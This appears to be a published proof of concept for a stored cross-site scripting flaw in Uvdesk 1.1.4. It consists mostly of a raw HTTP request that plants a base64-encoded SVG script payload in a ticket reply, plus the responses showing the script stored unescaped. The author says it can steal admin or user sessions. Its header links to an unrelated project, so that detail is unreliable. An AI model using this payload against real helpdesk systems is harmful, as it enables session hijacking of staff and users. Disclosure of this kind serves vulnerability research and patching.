Uvdesk 1.1.4 Cross Site Scripting

# Exploit Title: Uvdesk 1.1.4 - Stored XSS (Authenticated)# Date: 14/08/2023# Exploit Author: Hubert Wojciechowski# Contact Author: [email protected]# Vendor Homepage: https://www.uvdesk.com/# Software Link: https://github.com/MegaTKC/AeroCMS# Version: 1.1.4# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23# Authenticated user privilages to tickets. User can send XSS to admin or other user and stolen sesssion.## Example XSS Stored in new ticket-----------------------------------------------------------------------------------------------------------------------Param: reply-----------------------------------------------------------------------------------------------------------------------Req-----------------------------------------------------------------------------------------------------------------------POST /uvdesk/public/en/member/thread/add/1 HTTP/1.1Host: 127.0.0.1Content-Length: 812Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXCjJcGbgZxZWLsSkUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/uvdesk/public/en/member/ticket/view/1Accept-Encoding: gzip, deflateAccept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7Cookie: uv-sidebar=0; PHPSESSID=4b0j3r934245lpssq5lil3edm3Connection: close------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="threadType"forward------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="status"------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="subject"aaaa------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="to[]"test@local.host------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="reply"%3Cp%3E%3Cembed+src%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB4bWxuczpzdmc9Imh0dH+A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv+MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs+aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw+IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI%2BYWxlcnQoIlh+TUyIpOzwvc2NyaXB0Pjwvc3ZnPg%3D%3D%22+type%3D%22image%2Fsvg%2Bxml%22+width%3D%22300%22+height%3D%22150%22%3E%3C%2Fembed%3E%3C%2Fp%3E------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="pic"; filename=""Content-Type: application/octet-stream------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="nextView"stay------WebKitFormBoundaryXCjJcGbgZxZWLsSk-------------------------------------------------------------------------------------------------------------------------Res:-----------------------------------------------------------------------------------------------------------------------HTTP/1.1 302 FoundDate: Mon, 14 Aug 2023 11:33:26 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29X-Powered-By: PHP/7.4.29Cache-Control: max-age=0, must-revalidate, privateLocation: /uvdesk/public/en/member/ticket/view/1Access-Control-Allow-Origin: *Access-Control-Allow-Methods: GET,POST,PUT,OPTIONSAccess-Control-Allow-Headers: Access-Control-Allow-OriginAccess-Control-Allow-Headers: AuthorizationAccess-Control-Allow-Headers: Content-TypeX-Debug-Token: bf1b73X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/bf1b73X-Robots-Tag: noindexExpires: Mon, 14 Aug 2023 11:33:26 GMTSet-Cookie: sf_redirect=%7B%22token%22%3A%22bf1b73%22%2C%22route%22%3A%22helpdesk_member_add_ticket_thread%22%2C%22method%22%3A%22POST%22%2C%22controller%22%3A%7B%22class%22%3A%22Webkul%5C%5CUVDesk%5C%5CCoreFrameworkBundle%5C%5CController%5C%5CThread%22%2C%22method%22%3A%22saveThread%22%2C%22file%22%3A%22C%3A%5C%5Cxampp2%5C%5Chtdocs%5C%5Cuvdesk%5C%5Cvendor%5C%5Cuvdesk%5C%5Ccore-framework%5C%5CController%5C%5CThread.php%22%2C%22line%22%3A44%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D; path=/; httponly; samesite=laxConnection: closeContent-Type: text/html; charset=UTF-8Content-Length: 398<!DOCTYPE html><html>    <head>        <meta charset="UTF-8" />        <meta http-equiv="refresh" content="0;url='/uvdesk/public/en/member/ticket/view/1'" />        <title>Redirecting to /uvdesk/public/en/member/ticket/view/1</title>    </head>    <body>        Redirecting to <a href="/uvdesk/public/en/member/ticket/view/1">/uvdesk/public/en/member/ticket/view/1</a>.    </body></html>-----------------------------------------------------------------------------------------------------------------------Redirect and view response:-----------------------------------------------------------------------------------------------------------------------HTTP/1.1 200 OKDate: Mon, 14 Aug 2023 11:44:14 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29X-Powered-By: PHP/7.4.29Cache-Control: max-age=0, must-revalidate, privateAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET,POST,PUT,OPTIONSAccess-Control-Allow-Headers: Access-Control-Allow-OriginAccess-Control-Allow-Headers: AuthorizationAccess-Control-Allow-Headers: Content-TypeX-Debug-Token: 254ce8X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/254ce8X-Robots-Tag: noindexExpires: Mon, 14 Aug 2023 11:44:14 GMTConnection: closeContent-Type: text/html; charset=UTF-8Content-Length: 300607<!DOCTYPE html><html>    <head>        <title>#1 vvvvvvvvvvvvvvvvvvvvv</title>[...]<p><embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" width="300" height="150"></embed></p>[...]-----------------------------------------------------------------------------------------------------------------------XSS execute, we can reply ticket to victim. This payload can use in new articles, tickets, all application.